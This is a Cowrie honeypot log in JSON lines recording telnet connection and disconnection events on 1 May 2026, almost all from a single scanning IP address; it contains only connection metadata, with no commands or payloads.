{"eventid":"cowrie.session.closed","duration":30.814014196395874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.257612Z","src_ip":"51.161.172.108","session":"fcbaef6c3d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60604,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ec6ec6502c","protocol":"telnet","message":"New connection: 51.161.172.108:60604 (159.203.135.109:23) [session: 93ec6ec6502c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.300836Z"}
{"eventid":"cowrie.session.closed","duration":31.294262409210205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.359311Z","src_ip":"51.161.172.108","session":"2bc9fee20c37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60654,"dst_ip":"159.203.135.109","dst_port":23,"session":"05e5bfa48746","protocol":"telnet","message":"New connection: 51.161.172.108:60654 (159.203.135.109:23) [session: 05e5bfa48746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.507090Z"}
{"eventid":"cowrie.session.closed","duration":30.777099609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.532928Z","src_ip":"51.161.172.108","session":"ec9878e9ce42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.885470390319824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.699492Z","src_ip":"51.161.172.108","session":"9a0d197d909f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60518,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d823c5b83b4","protocol":"telnet","message":"New connection: 51.161.172.108:60518 (159.203.135.109:23) [session: 9d823c5b83b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.743484Z"}
{"eventid":"cowrie.session.closed","duration":31.294962406158447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:00.752781Z","src_ip":"51.161.172.108","session":"fd4dab07c208","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56426763534546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.100284Z","src_ip":"51.161.172.108","session":"a3f0e9908c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60644,"dst_ip":"159.203.135.109","dst_port":23,"session":"22fe09b78ff9","protocol":"telnet","message":"New connection: 51.161.172.108:60644 (159.203.135.109:23) [session: 22fe09b78ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.258408Z"}
{"eventid":"cowrie.session.closed","duration":30.92479968070984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.307430Z","src_ip":"51.161.172.108","session":"d9944760d533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"56dcda9b440a","protocol":"telnet","message":"New connection: 51.161.172.108:60750 (159.203.135.109:23) [session: 56dcda9b440a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.363904Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60756,"dst_ip":"159.203.135.109","dst_port":23,"session":"e427a66d11b8","protocol":"telnet","message":"New connection: 51.161.172.108:60756 (159.203.135.109:23) [session: e427a66d11b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.592752Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60768,"dst_ip":"159.203.135.109","dst_port":23,"session":"b629282ab895","protocol":"telnet","message":"New connection: 51.161.172.108:60768 (159.203.135.109:23) [session: b629282ab895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.605955Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48304,"dst_ip":"10.17.0.5","dst_port":23,"session":"a77d9d580521","protocol":"telnet","message":"New connection: 45.10.154.244:48304 (10.17.0.5:23) [session: a77d9d580521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.633137Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"e77773f3d5a5","protocol":"telnet","message":"New connection: 51.161.172.108:60788 (159.203.135.109:23) [session: e77773f3d5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.698444Z"}
{"eventid":"cowrie.session.closed","duration":31.3310968875885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.782217Z","src_ip":"51.161.172.108","session":"eb1f2191c03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73482847213745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:01.916702Z","src_ip":"51.161.172.108","session":"6717e0218d41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6937735080719,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.007468Z","src_ip":"51.161.172.108","session":"dff1884a6991","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.950321435928345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.092217Z","src_ip":"51.161.172.108","session":"02e2ce62a109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.808135747909546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.216361Z","src_ip":"51.161.172.108","session":"334c64af2fc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60902,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e566e10b740","protocol":"telnet","message":"New connection: 51.161.172.108:60902 (159.203.135.109:23) [session: 6e566e10b740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.249169Z"}
{"eventid":"cowrie.session.closed","duration":30.452803134918213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.266114Z","src_ip":"51.161.172.108","session":"2437b23f3a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60918,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a7a4c1a05de","protocol":"telnet","message":"New connection: 51.161.172.108:60918 (159.203.135.109:23) [session: 8a7a4c1a05de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.294874Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"41ca1d9375c7","protocol":"telnet","message":"New connection: 51.161.172.108:60922 (159.203.135.109:23) [session: 41ca1d9375c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.399797Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60950,"dst_ip":"159.203.135.109","dst_port":23,"session":"76ba1c458059","protocol":"telnet","message":"New connection: 51.161.172.108:60950 (159.203.135.109:23) [session: 76ba1c458059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.412965Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60980,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f442f8647f1","protocol":"telnet","message":"New connection: 51.161.172.108:60980 (159.203.135.109:23) [session: 5f442f8647f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.519144Z"}
{"eventid":"cowrie.session.closed","duration":31.544322729110718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.565679Z","src_ip":"51.161.172.108","session":"9cf674bd2e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823078870773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.665241Z","src_ip":"51.161.172.108","session":"b3941241a68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ca50ef6540e","protocol":"telnet","message":"New connection: 51.161.172.108:60844 (159.203.135.109:23) [session: 8ca50ef6540e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.836631Z"}
{"eventid":"cowrie.session.closed","duration":32.166375398635864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:02.970933Z","src_ip":"51.161.172.108","session":"f25c9ee19c63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.520000219345093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.090502Z","src_ip":"45.10.154.244","session":"cea8e7ca1387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bcff989c060","protocol":"telnet","message":"New connection: 51.161.172.108:32832 (159.203.135.109:23) [session: 5bcff989c060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.096004Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32896,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d5340da45d7","protocol":"telnet","message":"New connection: 51.161.172.108:32896 (159.203.135.109:23) [session: 1d5340da45d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.260363Z"}
{"eventid":"cowrie.session.closed","duration":32.134345054626465,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.341890Z","src_ip":"51.161.172.108","session":"307578a95541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34699249267578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.484918Z","src_ip":"51.161.172.108","session":"6180b8fc4d8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32944,"dst_ip":"159.203.135.109","dst_port":23,"session":"573de7932da9","protocol":"telnet","message":"New connection: 51.161.172.108:32944 (159.203.135.109:23) [session: 573de7932da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.494466Z"}
{"eventid":"cowrie.session.closed","duration":31.2707097530365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.633647Z","src_ip":"51.161.172.108","session":"ba695e0102ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32990,"dst_ip":"159.203.135.109","dst_port":23,"session":"46afa05a9872","protocol":"telnet","message":"New connection: 51.161.172.108:32990 (159.203.135.109:23) [session: 46afa05a9872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.663510Z"}
{"eventid":"cowrie.session.closed","duration":31.0827898979187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.723954Z","src_ip":"51.161.172.108","session":"89a85e6fde52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32794,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b500dd8778","protocol":"telnet","message":"New connection: 51.161.172.108:32794 (159.203.135.109:23) [session: 26b500dd8778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:03.772898Z"}
{"eventid":"cowrie.session.closed","duration":31.507343530654907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.004596Z","src_ip":"51.161.172.108","session":"50154a14edd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.220677137374878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.066470Z","src_ip":"45.10.154.244","session":"349baa13a93b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.637937307357788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.073477Z","src_ip":"51.161.172.108","session":"b08429a94959","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.149779319763184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.224025Z","src_ip":"51.161.172.108","session":"796e12cf66aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689940452575684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.326178Z","src_ip":"51.161.172.108","session":"e0150da76a61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33114,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ea085dfd6d","protocol":"telnet","message":"New connection: 51.161.172.108:33114 (159.203.135.109:23) [session: 02ea085dfd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.336000Z"}
{"eventid":"cowrie.session.closed","duration":31.45317006111145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.380215Z","src_ip":"51.161.172.108","session":"226d63c6e009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4be7c45906d5","protocol":"telnet","message":"New connection: 51.161.172.108:33124 (159.203.135.109:23) [session: 4be7c45906d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.426496Z"}
{"eventid":"cowrie.session.closed","duration":31.288623332977295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.461398Z","src_ip":"51.161.172.108","session":"2f1e48435b3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"94a3bae6c5dc","protocol":"telnet","message":"New connection: 51.161.172.108:33126 (159.203.135.109:23) [session: 94a3bae6c5dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.520291Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33146,"dst_ip":"159.203.135.109","dst_port":23,"session":"29577331689c","protocol":"telnet","message":"New connection: 51.161.172.108:33146 (159.203.135.109:23) [session: 29577331689c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.608071Z"}
{"eventid":"cowrie.session.closed","duration":31.509814739227295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.811258Z","src_ip":"51.161.172.108","session":"136d562aec69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23943281173706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:04.944297Z","src_ip":"51.161.172.108","session":"6dc03138c875","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33072,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abbd6f4085f","protocol":"telnet","message":"New connection: 51.161.172.108:33072 (159.203.135.109:23) [session: 0abbd6f4085f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.073714Z"}
{"eventid":"cowrie.session.closed","duration":30.792638301849365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.184379Z","src_ip":"51.161.172.108","session":"6be9436865f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32858,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6ecd4dbf77","protocol":"telnet","message":"New connection: 51.161.172.108:32858 (159.203.135.109:23) [session: 7e6ecd4dbf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.261673Z"}
{"eventid":"cowrie.session.closed","duration":31.007081031799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.277449Z","src_ip":"51.161.172.108","session":"4ad4b4366e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04568600654602,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.328405Z","src_ip":"51.161.172.108","session":"f76beb28ce2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33196,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fd6815c476b","protocol":"telnet","message":"New connection: 51.161.172.108:33196 (159.203.135.109:23) [session: 7fd6815c476b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.391375Z"}
{"eventid":"cowrie.session.closed","duration":31.053754091262817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.402327Z","src_ip":"51.161.172.108","session":"af1c96fa4fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171310901641846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.464406Z","src_ip":"51.161.172.108","session":"eed7c0c6e942","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33202,"dst_ip":"159.203.135.109","dst_port":23,"session":"9442a74c7dad","protocol":"telnet","message":"New connection: 51.161.172.108:33202 (159.203.135.109:23) [session: 9442a74c7dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.501124Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33198,"dst_ip":"159.203.135.109","dst_port":23,"session":"a91001927c1d","protocol":"telnet","message":"New connection: 51.161.172.108:33198 (159.203.135.109:23) [session: a91001927c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.537787Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33214,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f957c7792a","protocol":"telnet","message":"New connection: 51.161.172.108:33214 (159.203.135.109:23) [session: d1f957c7792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.608792Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33248,"dst_ip":"159.203.135.109","dst_port":23,"session":"27bfb770dee4","protocol":"telnet","message":"New connection: 51.161.172.108:33248 (159.203.135.109:23) [session: 27bfb770dee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.644519Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33320,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d104627ed11","protocol":"telnet","message":"New connection: 51.161.172.108:33320 (159.203.135.109:23) [session: 5d104627ed11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:05.983334Z"}
{"eventid":"cowrie.session.closed","duration":32.220669984817505,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.144701Z","src_ip":"51.161.172.108","session":"e9cce078bfcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179733276367188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.217321Z","src_ip":"51.161.172.108","session":"992d286408bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98592758178711,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.222891Z","src_ip":"51.161.172.108","session":"c16781afa117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"16689b4f7635","protocol":"telnet","message":"New connection: 51.161.172.108:33348 (159.203.135.109:23) [session: 16689b4f7635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.276863Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33358,"dst_ip":"159.203.135.109","dst_port":23,"session":"537248389840","protocol":"telnet","message":"New connection: 51.161.172.108:33358 (159.203.135.109:23) [session: 537248389840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.303081Z"}
{"eventid":"cowrie.session.closed","duration":30.927552223205566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.312341Z","src_ip":"51.161.172.108","session":"f09bbf7ec84b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33188,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cd18aa5ad80","protocol":"telnet","message":"New connection: 51.161.172.108:33188 (159.203.135.109:23) [session: 0cd18aa5ad80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.391792Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33364,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa7c30fc601","protocol":"telnet","message":"New connection: 51.161.172.108:33364 (159.203.135.109:23) [session: eaa7c30fc601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.441417Z"}
{"eventid":"cowrie.session.closed","duration":31.00889825820923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.447318Z","src_ip":"51.161.172.108","session":"0c9519d65f5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.305700063705444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.482132Z","src_ip":"51.161.172.108","session":"e6e772643043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33400,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f4742fb9070","protocol":"telnet","message":"New connection: 51.161.172.108:33400 (159.203.135.109:23) [session: 3f4742fb9070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.552443Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33440,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab2a2522816","protocol":"telnet","message":"New connection: 51.161.172.108:33440 (159.203.135.109:23) [session: 2ab2a2522816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:06.646058Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33500,"dst_ip":"159.203.135.109","dst_port":23,"session":"26faa25f5f0c","protocol":"telnet","message":"New connection: 51.161.172.108:33500 (159.203.135.109:23) [session: 26faa25f5f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.078271Z"}
{"eventid":"cowrie.session.closed","duration":34.70945692062378,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.084925Z","src_ip":"167.99.38.72","session":"842dc94db1c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411327123641968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:42:07.133666Z","src_ip":"51.161.172.108","session":"6b0c657d9c95","protocol":"telnet"}
